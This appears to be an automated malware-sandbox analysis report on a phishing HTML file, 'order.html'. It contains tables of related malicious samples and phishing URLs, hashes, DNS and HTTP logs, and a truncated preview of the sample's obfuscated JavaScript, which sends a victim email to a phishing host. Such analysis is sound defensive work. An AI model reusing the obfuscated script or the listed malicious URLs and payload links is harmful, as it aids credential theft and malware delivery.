	https://txt.fyi/d8a731ed1abadfc4	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
github.com	t1-04-18-25.bat	Get hash	malicious	Braodo	Browse	140.82.112.3
	ORDER-2509789-4567TA.vbs	Get hash	malicious	WSHRat, STRRAT	Browse	140.82.114.4
	QaDsK0i3qA.exe	Get hash	malicious	Unknown	Browse	140.82.113.3
	QaDsK0i3qA.exe	Get hash	malicious	Unknown	Browse	140.82.112.4
	Member-list-request-travel-SGA Group.bat	Get hash	malicious	Braodo	Browse	140.82.114.4
	Document-4995884.xlsx	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.4
	https://dwilsondocs.caychieulieuaz.com	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.4
	https://forms.office.com/e/UGN9kJGkPb	Get hash	malicious	Tycoon2FA	Browse	140.82.113.4
	Medbase Employee.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.4
	5VPZNNjklZ.exe	Get hash	malicious	Amadey, LockBit ransomware, LummaC Stealer, Vidar	Browse	140.82.113.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GITHUBUS	t1-04-18-25.bat	Get hash	malicious	Braodo	Browse	140.82.112.3
	ORDER-2509789-4567TA.vbs	Get hash	malicious	WSHRat, STRRAT	Browse	140.82.114.4
	QaDsK0i3qA.exe	Get hash	malicious	Unknown	Browse	140.82.113.3
	QaDsK0i3qA.exe	Get hash	malicious	Unknown	Browse	140.82.112.4
	Member-list-request-travel-SGA Group.bat	Get hash	malicious	Braodo	Browse	140.82.114.4
	Document-4995884.xlsx	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.4
	https://dwilsondocs.caychieulieuaz.com	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.4
	https://forms.office.com/e/UGN9kJGkPb	Get hash	malicious	Tycoon2FA	Browse	140.82.113.4
	Medbase Employee.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.4
	5VPZNNjklZ.exe	Get hash	malicious	Amadey, LockBit ransomware, LummaC Stealer, Vidar	Browse	140.82.113.3
CLOUDFLARENETUS	https://www.canva.com/design/DAGlYKbjuY0/4RHeBbJnCUf_5x4HDhIw8g/view?utm_content=DAGlYKbjuY0&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=ha694dfb181	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	Message.eml	Get hash	malicious	Unknown	Browse	104.22.5.65
	https://yhp1b2pb.r.us-east-1.awstrack.me/L0/https:%2F%2Furldefense.proofpoint.com%2Fv2%2Furl%3Fu=https-3A__3.coisna.com_%26d=DwMFAg%26c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM%26r=UVtpy5T_qzGlA-mv7CbieWWT8nFVdnAvi1yRDJVubnst7YjM842-7ZZ-5lAAVWEH%26m=qKxTb-L2u14axGbH1UmxEo4PNW7X1T6OObvCWnDOht4KLszTa1uIXZy28f5Yoo2J%26s=x6K7D-41-o1D8fkbQaBNBmQGRBCBzJWvUQkP3Ip-xHk%26e=%23/1/010001965e755a12-2f2334cb-a6f6-4145-87f8-add2621b222b-000000/qU7JPTARYdTyU8Zfl8lR84MNKSI=423	Get hash	malicious	Unknown	Browse	104.16.117.116
	https://yhp1b2pb.r.us-east-1.awstrack.me/L0/https:%2F%2Furldefense.proofpoint.com%2Fv2%2Furl%3Fu=https-3A__1.coisna.com_%26d=DwMFAg%26c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM%26r=UVtpy5T_qzGlA-mv7CbieWWT8nFVdnAvi1yRDJVubnst7YjM842-7ZZ-5lAAVWEH%26m=qKxTb-L2u14axGbH1UmxEo4PNW7X1T6OObvCWnDOht4KLszTa1uIXZy28f5Yoo2J%26s=uwc5jGTLUXsQprsVFZxaO8mqbr6FVRrkkt_8-S8Ff54%26e=%23bWljaGFlbC50b21vckB0YW1wYW11c2V1bS5vcmcN/1/010001965e9c7861-e810a570-973d-44ca-98b2-c8b768844478-000000/jtJ9ZQweb9qzOLXcWoJ9KSFZOxc=423	Get hash	malicious	Unknown	Browse	172.67.11.120
	Proposal Invitation #U2013Tower Arctic.pdf	Get hash	malicious	HTMLPhisher	Browse	162.159.61.3
	ActivID ActivClient x64 7.4.3.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	Play Recordings for rons@davislaw.com.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.17.25.14
	SecuriteInfo.com.Python.Packed.104.20482.899.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse	162.159.128.233
	k6yD.pif.exe	Get hash	malicious	Python Stealer, NiceRAT	Browse	104.26.12.205
CLOUDFLARENETUS	https://www.canva.com/design/DAGlYKbjuY0/4RHeBbJnCUf_5x4HDhIw8g/view?utm_content=DAGlYKbjuY0&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=ha694dfb181	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	Message.eml	Get hash	malicious	Unknown	Browse	104.22.5.65
	https://yhp1b2pb.r.us-east-1.awstrack.me/L0/https:%2F%2Furldefense.proofpoint.com%2Fv2%2Furl%3Fu=https-3A__3.coisna.com_%26d=DwMFAg%26c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM%26r=UVtpy5T_qzGlA-mv7CbieWWT8nFVdnAvi1yRDJVubnst7YjM842-7ZZ-5lAAVWEH%26m=qKxTb-L2u14axGbH1UmxEo4PNW7X1T6OObvCWnDOht4KLszTa1uIXZy28f5Yoo2J%26s=x6K7D-41-o1D8fkbQaBNBmQGRBCBzJWvUQkP3Ip-xHk%26e=%23/1/010001965e755a12-2f2334cb-a6f6-4145-87f8-add2621b222b-000000/qU7JPTARYdTyU8Zfl8lR84MNKSI=423	Get hash	malicious	Unknown	Browse	104.16.117.116
	https://yhp1b2pb.r.us-east-1.awstrack.me/L0/https:%2F%2Furldefense.proofpoint.com%2Fv2%2Furl%3Fu=https-3A__1.coisna.com_%26d=DwMFAg%26c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM%26r=UVtpy5T_qzGlA-mv7CbieWWT8nFVdnAvi1yRDJVubnst7YjM842-7ZZ-5lAAVWEH%26m=qKxTb-L2u14axGbH1UmxEo4PNW7X1T6OObvCWnDOht4KLszTa1uIXZy28f5Yoo2J%26s=uwc5jGTLUXsQprsVFZxaO8mqbr6FVRrkkt_8-S8Ff54%26e=%23bWljaGFlbC50b21vckB0YW1wYW11c2V1bS5vcmcN/1/010001965e9c7861-e810a570-973d-44ca-98b2-c8b768844478-000000/jtJ9ZQweb9qzOLXcWoJ9KSFZOxc=423	Get hash	malicious	Unknown	Browse	172.67.11.120
	Proposal Invitation #U2013Tower Arctic.pdf	Get hash	malicious	HTMLPhisher	Browse	162.159.61.3
	ActivID ActivClient x64 7.4.3.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	Play Recordings for rons@davislaw.com.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.17.25.14
	SecuriteInfo.com.Python.Packed.104.20482.899.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse	162.159.128.233
	k6yD.pif.exe	Get hash	malicious	Python Stealer, NiceRAT	Browse	104.26.12.205
CLOUDFLARENETUS	https://www.canva.com/design/DAGlYKbjuY0/4RHeBbJnCUf_5x4HDhIw8g/view?utm_content=DAGlYKbjuY0&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=ha694dfb181	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	Message.eml	Get hash	malicious	Unknown	Browse	104.22.5.65
	https://yhp1b2pb.r.us-east-1.awstrack.me/L0/https:%2F%2Furldefense.proofpoint.com%2Fv2%2Furl%3Fu=https-3A__3.coisna.com_%26d=DwMFAg%26c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM%26r=UVtpy5T_qzGlA-mv7CbieWWT8nFVdnAvi1yRDJVubnst7YjM842-7ZZ-5lAAVWEH%26m=qKxTb-L2u14axGbH1UmxEo4PNW7X1T6OObvCWnDOht4KLszTa1uIXZy28f5Yoo2J%26s=x6K7D-41-o1D8fkbQaBNBmQGRBCBzJWvUQkP3Ip-xHk%26e=%23/1/010001965e755a12-2f2334cb-a6f6-4145-87f8-add2621b222b-000000/qU7JPTARYdTyU8Zfl8lR84MNKSI=423	Get hash	malicious	Unknown	Browse	104.16.117.116
	https://yhp1b2pb.r.us-east-1.awstrack.me/L0/https:%2F%2Furldefense.proofpoint.com%2Fv2%2Furl%3Fu=https-3A__1.coisna.com_%26d=DwMFAg%26c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM%26r=UVtpy5T_qzGlA-mv7CbieWWT8nFVdnAvi1yRDJVubnst7YjM842-7ZZ-5lAAVWEH%26m=qKxTb-L2u14axGbH1UmxEo4PNW7X1T6OObvCWnDOht4KLszTa1uIXZy28f5Yoo2J%26s=uwc5jGTLUXsQprsVFZxaO8mqbr6FVRrkkt_8-S8Ff54%26e=%23bWljaGFlbC50b21vckB0YW1wYW11c2V1bS5vcmcN/1/010001965e9c7861-e810a570-973d-44ca-98b2-c8b768844478-000000/jtJ9ZQweb9qzOLXcWoJ9KSFZOxc=423	Get hash	malicious	Unknown	Browse	172.67.11.120
	Proposal Invitation #U2013Tower Arctic.pdf	Get hash	malicious	HTMLPhisher	Browse	162.159.61.3
	ActivID ActivClient x64 7.4.3.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	Play Recordings for rons@davislaw.com.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.17.25.14
	SecuriteInfo.com.Python.Packed.104.20482.899.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse	162.159.128.233
	k6yD.pif.exe	Get hash	malicious	Python Stealer, NiceRAT	Browse	104.26.12.205

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://url.avanan.click/v2/r03/___https://yhp1b2pb.r.us-east-1.awstrack.me/L0/https:%2F%2Furldefense.proofpoint.com2Fv22Furl*3Fu=https-3A__10.thartbenx.com_%26d=DwMFAw%26c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM%26r=5B1_R__KW843kwBcy22_MQ%26m=Gjt8puvp4Ng0-l0oTFZZI47Zm_zJAecd_KthCvNpA3v2anTXEEAFFThzmV2QEFWT%26s=jHPTkIvHgWgHzbRKm6j7KQBCAiEzRIlVkKY-LhBAqus%26e=/1/010001965e8d9f79-58cc9523-7075-444b-b936-50a8368d67e9-000000/owkTaIPG7dZ0lR8bcSMk3eCG5Rk=423___.YXYyYzpudnRlY2g6YTpvOjgzODRkMDdmZDdlMTk5NDExYjBlYTQwYjMwN2Y1NzMxOjc6YzJlNjpiOGI0ODk5ZDM0MmFjNTA5Y2ZkNWM3MmY3MGZkY2JlYmJjZTY4YzAwOTEzODRiODQ5MWEyODc3ZDJiMGRlYWIwOmg6VDpG	Get hash	malicious	Unknown	Browse	131.253.33.254
	NEW ORDER__xlsx.vbs	Get hash	malicious	AsyncRAT	Browse	131.253.33.254
	https://pub-0561ece4ec6544baa80fd8d8d2ae1c00.r2.dev/Request%20for%20proposal(11).exe	Get hash	malicious	ScreenConnect Tool	Browse	131.253.33.254
	Draft Ref0090093.vbe	Get hash	malicious	AgentTesla	Browse	131.253.33.254
	Product Sample.vbs	Get hash	malicious	AsyncRAT	Browse	131.253.33.254
	Contract Renewal.js	Get hash	malicious	Remcos	Browse	131.253.33.254
	pik.ps1	Get hash	malicious	AsyncRAT, DcRat	Browse	131.253.33.254
	Proposal Invitation #U2013 Dynamic Tube,Inc.pdf	Get hash	malicious	Unknown	Browse	131.253.33.254
	123BKANSrM.exe	Get hash	malicious	Amadey, Credential Flusher, Healer AV Disabler, LummaC Stealer	Browse	131.253.33.254
	http://httpswwwprivacypolicytermsandcondcomwww.tazchemnitz.de/bkyLjaeqaKYpQzIdTPCKMgkzdyKzUI&5USRnakPDfK&176247/1039/hyjiugcukc.home.php?sq=1456-2330&lk=1691873-15&page=349	Get hash	malicious	Phisher	Browse	131.253.33.254

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	17842
Entropy (8bit):	7.821645806304586
Encrypted:	false
SSDEEP:	384:EwTZQ74B48VtrMvbt0sAvPTMaf+j5s8OYbqarRbjy5Qg1AR/kf63z/:hTa4B4mtYztAvPTMFhOYb3Rbu571AJa6
MD5:	4B52ECDC33382C9DCA874F551990E704
SHA1:	8F3BF8E41CD4CDDDB17836B261E73F827B84341B
SHA-256:	CCE050CC3B150C0B370751021BB15018EE2B64AC369E230FE3B571A9B00D4342
SHA-512:	AC3D3C82BAD9147AE5F083ED49C81A744F672DDFBB262135AA3F2C6601F8DFFEA11D8E323CEF025C36D76C6F2515AA6814B622CF504CA01D13346E9EA989048F
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://ranr5.oqgriud.es/uvhL1ADFrGd59QKm3aUd1YWJQvR6N74GYmMKpoJ45B0Wl3znehUgbrTCUpy1u4DfUGdfKgh251
Preview:	RIFF.E..WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.,...$.m.8..k.\.oDL.. ..TU....3'.{.g..6..2...6.DL`e..."&@..b.#&@......T.....'.....$......1.d...G........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........._...........................?...Z5[...B,.c...V-...m.0.../..?...............?.......?................_.....-...M.B.....=....C...[......w .X...ea.............VW.?b....[[.o^.Y.K...OD

File type:	HTML document, ASCII text, with very long lines (738), with no line terminators
Entropy (8bit):	5.661108628980745
TrID:	HyperText Markup Language (12001/1) 29.26% HyperText Markup Language (12001/1) 29.26% HyperText Markup Language (11001/1) 26.83% HyperText Markup Language (6006/1) 14.65%
File name:	order.html
File size:	738 bytes
MD5:	ad28ab11b0adbf182eb6e47a9aaad884
SHA1:	a621320997d2f26478b06c2170f5b128d4fa60e0
SHA256:	6ba27d6bbd1503618031239ca1c39b9b7a32f39fa2f0db569e3bc16be67bda09
SHA512:	a77ffd7e147af6f510797bf408665947299cec8f748957ea96be14f5095e690164335f461b13e495419a10a7be8bd5d1d8b475e121d7f3b3a16088a8b71f192a
SSDEEP:	12:43t+FjOolYvowsO49uJCBMOL/1nQS9reeD23CMO3BHEFhQePmVVAb:mromvowTEyS/1QM7D2/ONE+Ab
TLSH:	3A01CB7F6560841CA96230E67DDBE0280E7621187E41DCE097CEC151A767A7AC9EEFC8
File Content Preview:	<html> <head> <meta charset="UTF-8"> </head> <body> <script> cBWcx = "$email@gmail.com"; (() => { const O = new Map(); O.set('c', 'e7d8067184e04e33c0a5aa4c'); O.set('m', 'BlYUSllVXl5NR0UNFD4+OUFYFUFDTRYTFg1GFBIZGEMaGEdRWhcRHwMFT1oBTVQSAkUEFBJfQlUaGEIeURY

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 22, 2025 20:09:21.024354935 CEST	53	54295	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:21.215281010 CEST	53	64031	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:22.215922117 CEST	53	51772	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:23.482697964 CEST	63173	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:23.482983112 CEST	54430	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:23.623784065 CEST	53	63173	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:23.634229898 CEST	53	54430	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:26.261092901 CEST	53116	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:26.261245966 CEST	55072	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:26.441870928 CEST	53	53116	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:26.573532104 CEST	53	55072	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:28.030251980 CEST	49925	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:28.030459881 CEST	50718	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:28.039130926 CEST	62846	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:28.040405989 CEST	58354	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:28.041450024 CEST	54450	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:28.041779041 CEST	64538	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:28.170613050 CEST	53	50718	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:28.179522038 CEST	53	62846	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:28.180006027 CEST	53	49925	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:28.181714058 CEST	53	54450	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:28.181986094 CEST	53	64538	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:28.190284014 CEST	53	58354	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:29.658981085 CEST	54218	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:29.659132957 CEST	63584	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:29.812124014 CEST	53	63584	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:29.818685055 CEST	53	54218	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:30.530942917 CEST	55469	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:30.531085968 CEST	54708	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:30.656538963 CEST	59791	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:30.656630039 CEST	49577	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:30.674185991 CEST	53	54708	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:30.682549000 CEST	53	55469	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:30.796833038 CEST	53	59791	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:30.797383070 CEST	53	49577	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:32.126080036 CEST	52971	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:32.126256943 CEST	56537	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:32.266387939 CEST	53	56537	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:32.266402960 CEST	53	52971	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:39.405585051 CEST	53	55389	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:44.095483065 CEST	62879	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:44.095669985 CEST	54168	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:44.256850958 CEST	53	54168	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:44.308031082 CEST	53	62879	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:45.981308937 CEST	51316	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:45.981498003 CEST	57690	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:46.408263922 CEST	53	57690	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:46.414748907 CEST	53	51316	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:47.103326082 CEST	56282	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:47.103326082 CEST	53045	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:47.276108980 CEST	53	53045	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:47.284270048 CEST	53	56282	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:48.794142008 CEST	51429	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:48.794306993 CEST	62341	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:48.934648991 CEST	53	62341	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:48.943944931 CEST	53	51429	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:51.222491980 CEST	50758	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:51.222948074 CEST	62250	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:51.225414038 CEST	53320	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:51.225552082 CEST	53038	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:51.363022089 CEST	53	50758	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:51.366322041 CEST	53	53038	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:51.373317957 CEST	53	62250	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:51.384774923 CEST	53	53320	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:52.153067112 CEST	57597	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:52.153323889 CEST	51942	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:52.293365002 CEST	53	57597	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:52.297851086 CEST	53	51942	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:55.048269987 CEST	52003	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:55.048449993 CEST	63855	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:55.208662033 CEST	53	63855	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:55.210289001 CEST	53	52003	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:56.117377043 CEST	53544	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:56.117522955 CEST	49688	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:56.257869005 CEST	53	53544	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:56.259232998 CEST	53	61226	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:56.269377947 CEST	53	49688	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:57.403225899 CEST	52796	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:57.403414965 CEST	62727	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:57.554357052 CEST	53	52796	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:57.564603090 CEST	53	62727	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:57.801548004 CEST	55921	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:57.801871061 CEST	60514	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:09:57.942305088 CEST	53	55921	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:57.965739012 CEST	53	60514	1.1.1.1	192.168.2.4
Apr 22, 2025 20:09:58.353368044 CEST	53	64316	1.1.1.1	192.168.2.4
Apr 22, 2025 20:10:00.087121010 CEST	50704	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:10:00.087281942 CEST	50438	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:10:00.232196093 CEST	53	50438	1.1.1.1	192.168.2.4
Apr 22, 2025 20:10:00.247486115 CEST	53	50704	1.1.1.1	192.168.2.4
Apr 22, 2025 20:10:20.447658062 CEST	53	64675	1.1.1.1	192.168.2.4
Apr 22, 2025 20:10:21.403423071 CEST	53	52291	1.1.1.1	192.168.2.4
Apr 22, 2025 20:10:22.098256111 CEST	53	49350	1.1.1.1	192.168.2.4
Apr 22, 2025 20:10:28.930986881 CEST	138	138	192.168.2.4	192.168.2.255
Apr 22, 2025 20:10:48.802927971 CEST	53457	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:10:48.803092957 CEST	59122	53	192.168.2.4	1.1.1.1
Apr 22, 2025 20:10:48.943181038 CEST	53	53457	1.1.1.1	192.168.2.4
Apr 22, 2025 20:10:48.943253994 CEST	53	59122	1.1.1.1	192.168.2.4
Apr 22, 2025 20:10:51.554266930 CEST	53	60910	1.1.1.1	192.168.2.4
Apr 22, 2025 20:11:36.677069902 CEST	53	58603	1.1.1.1	192.168.2.4

Timestamp	Bytes transferred	Direction	Data
Apr 22, 2025 20:09:35.595262051 CEST	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Apr 22, 2025 20:09:35.743158102 CEST	1243	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 530 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 22 Apr 2025 17:28:04 GMT Expires: Tue, 22 Apr 2025 18:18:04 GMT Cache-Control: public, max-age=3000 Age: 2491 Last-Modified: Thu, 03 Apr 2025 14:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Data Raw: 30 82 02 0e 30 82 01 93 02 01 01 30 0a 06 08 2a 86 48 ce 3d 04 03 03 30 47 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 22 30 20 06 03 55 04 0a 13 19 47 6f 6f 67 6c 65 20 54 72 75 73 74 20 53 65 72 76 69 63 65 73 20 4c 4c 43 31 14 30 12 06 03 55 04 03 13 0b 47 54 53 20 52 6f 6f 74 20 52 34 17 0d 32 35 30 34 30 33 30 38 30 30 30 30 5a 17 0d 32 36 30 32 32 38 30 37 35 39 35 39 5a 30 81 e9 30 2f 02 10 6e 47 a9 ce 4f 46 c2 3d e2 49 ea cc 38 94 53 73 17 0d 31 39 30 39 33 30 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 01 f0 9c 5b 70 05 a6 dc 86 e2 f9 9e f3 17 0d 32 30 30 31 33 31 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 01 fe a5 81 44 7e 3b fd 3b b8 1c 24 98 17 0d 32 33 30 36 31 33 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 02 16 68 25 e1 70 04 40 61 24 91 f5 40 17 0d 32 35 30 34 30 33 30 38 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 02 00 8e b2 58 e7 b5 94 0c 1f f9 00 44 17 0d 32 35 30 [TRUNCATED] Data Ascii: 000H=0G10UUS1"0 UGoogle Trust Services LLC10UGTS Root R4250403080000Z260228075959Z00/nGOF=I8Ss190930000000Z00U0,[p200131000000Z00U0,D~;;$230613000000Z00U0,h%p@a$@250403080000Z00U0,XD250403080000Z00U/0-0U0U#0LtI6>j0H=i0f1>2en:IN@g=;bQZ~`NX1?^4y[$\4{;$zDeU6O

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:26 UTC	676	OUT	GET /xWG7spS/$email@gmail.com HTTP/1.1 Host: ranr5.oqgriud.es Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-22 18:09:27 UTC	1228	IN	HTTP/1.1 200 OK Date: Tue, 22 Apr 2025 18:09:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: no-cache, private Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NQ3yJ3MFZ3YPcR6Tk8znanMaysk8wVbBnGSupZVArVJbII%2BO20Z1%2F2G4J3%2BHgZWmrXWPOrCjObLjFYMmE%2BrHsyuKZ5os93jouEVpu3jE9KBE0mEdxT2Z9RgpwloE"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=15783&min_rtt=15752&rtt_var=4456&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1572&delivery_rate=255480&cwnd=249&unsent_bytes=0&cid=8bb30d4fafddba8a&ts=276&x=0" Set-Cookie: 